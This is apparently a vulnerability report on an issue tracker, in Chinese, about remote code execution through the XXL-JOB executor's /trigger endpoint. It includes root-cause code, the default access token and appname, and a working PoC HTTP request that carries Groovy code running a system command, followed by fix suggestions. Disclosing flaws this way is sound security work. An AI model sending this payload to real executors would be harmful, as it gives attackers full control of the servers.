#3995·xxl-job

xxl-job执行器端直接 RCE(高危)

Author: rockmelodiesCreated Aug 5, 2026Updated Aug 15, 2026

XXL-JOB 执行器的 EmbedServer(Netty HTTP 服务)直接暴露 /trigger 端点。攻击者只需知道执行器的 accessTokenappname,即可直接向执行器发送 /trigger 请求,携带恶意 glueSource(Groovy 代码),实现远程代码执行。

该攻击完全绕过 Admin 端的所有安全机制

  • 绕过 SSO 认证(不经过 Admin)
  • 绕过 JobGroupPermissionUtil 权限检查(不经过 Admin)
  • 绕过 XssUtil XSS 过滤(不经过 Admin)
  • 绕过 OpenAPI 鉴权(不经过 Admin)

漏洞位置

文件 位置 说明
[EmbedServer.java](xxl-job-core/src/main/java/com/xxl/job/core/server/EmbedServer.java:187) 第 187-228 行 dispatchRequest() 仅验证 accessToken + appname,无其他认证
[EmbedServer.java](xxl-job-core/src/main/java/com/xxl/job/core/server/EmbedServer.java:213) 第 213-215 行 /trigger 端点直接调用 executorBiz.trigger()
[ExecutorBizImpl.java](xxl-job-core/src/main/java/com/xxl/job/core/openapi/executor/impl/ExecutorBizImpl.java:105) 第 105 行 GlueFactory.getInstance().loadNewInstance(triggerRequest.getGlueSource())
[GlueFactory.java](xxl-job-core/src/main/java/com/xxl/job/core/glue/GlueFactory.java:76) 第 76 行 groovyClassLoader.parseClass(codeSource) 动态编译执行

根因分析

java
// EmbedServer.java:197-215 — 唯一认证层
String accessToken = headers.get("XXL-JOB-ACCESS-TOKEN");
String appname = headers.get("XXL-JOB-APPNAME");

if (!(accessToken.equals(xxlJobExecutor.getAccessToken())
        && appname.equals(xxlJobExecutor.getAppname()))) {
    return Response.ofFail("invalid request, accessToken or appname invalid.");
}

// 认证通过后,直接路由
case "/trigger":
    TriggerRequest triggerParam = GsonTool.fromJson(requestData, TriggerRequest.class);
    return executorBiz.trigger(triggerParam);  // ← glueSource 完全由请求方控制
java
// ExecutorBizImpl.java:105 — 直接使用请求体中的 glueSource
IJobHandler originJobHandler = GlueFactory.getInstance()
    .loadNewInstance(triggerRequest.getGlueSource());  // ← 无任何过滤

攻击条件

  • 能访问执行器端口(默认 9999)
  • 知道 accessToken(默认值:default_token
  • 知道 appname(可通过 Admin 页面或 OpenAPI 获取,默认值:xxl-job-executor-sample
  • 执行器配置 glueenabled=true(默认开启)

影响范围

  • 远程代码执行(RCE)
  • 完全控制执行器服务器
  • 可作为内网跳板进一步渗透

复现步骤

PoC 请求

plain
POST /trigger HTTP/1.1
Host: 127.0.0.1:9999
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
XXL-JOB-ACCESS-TOKEN: default_token
XXL-JOB-APPNAME: xxl-job-executor-sample
Content-Type: application/json
Content-Length: 553

{"jobId": 0, "executorHandler": "", "executorParams": "", "executorBlockStrategy": "SERIAL_EXECUTION", "executorTimeout": 0, "logId": 1782962744879, "logDateTime": 1782962744879, "glueType": "GLUE_GROOVY", "glueSource": "import com.xxl.job.core.handler.IJobHandler;\n\npublic class pocGlueRce extends IJobHandler {\n    public void execute() throws Exception {\n        String[] cmd = [\"cmd\", \"/c\", \"calc\"] as String[];\n        Runtime.getRuntime().exec(cmd);\n    }\n}", "glueUpdatetime": 1782962744879, "broadcastIndex": 0, "broadcastTotal": 1}

注意:Groovy 类必须 extends IJobHandler 并实现 execute() 方法,否则 GlueFactory.loadNewInstance() 第 57 行的 instance instanceof IJobHandler 检查会失败。Groovy 数组语法使用 ["a","b"] as String[] 而非 Java 的 {"a","b"}

修复建议

  1. 执行器端增加来源校验:验证 /trigger 请求是否来自已注册的 Admin 节点(校验来源 IP 或双向认证)
  2. 强化 accessToken:禁止使用默认 token,强制要求复杂随机 token
  3. 网络隔离:执行器端口不应对外暴露,仅允许 Admin 访问
  4. 请求签名:Admin→Executor 通信增加请求签名,防止伪造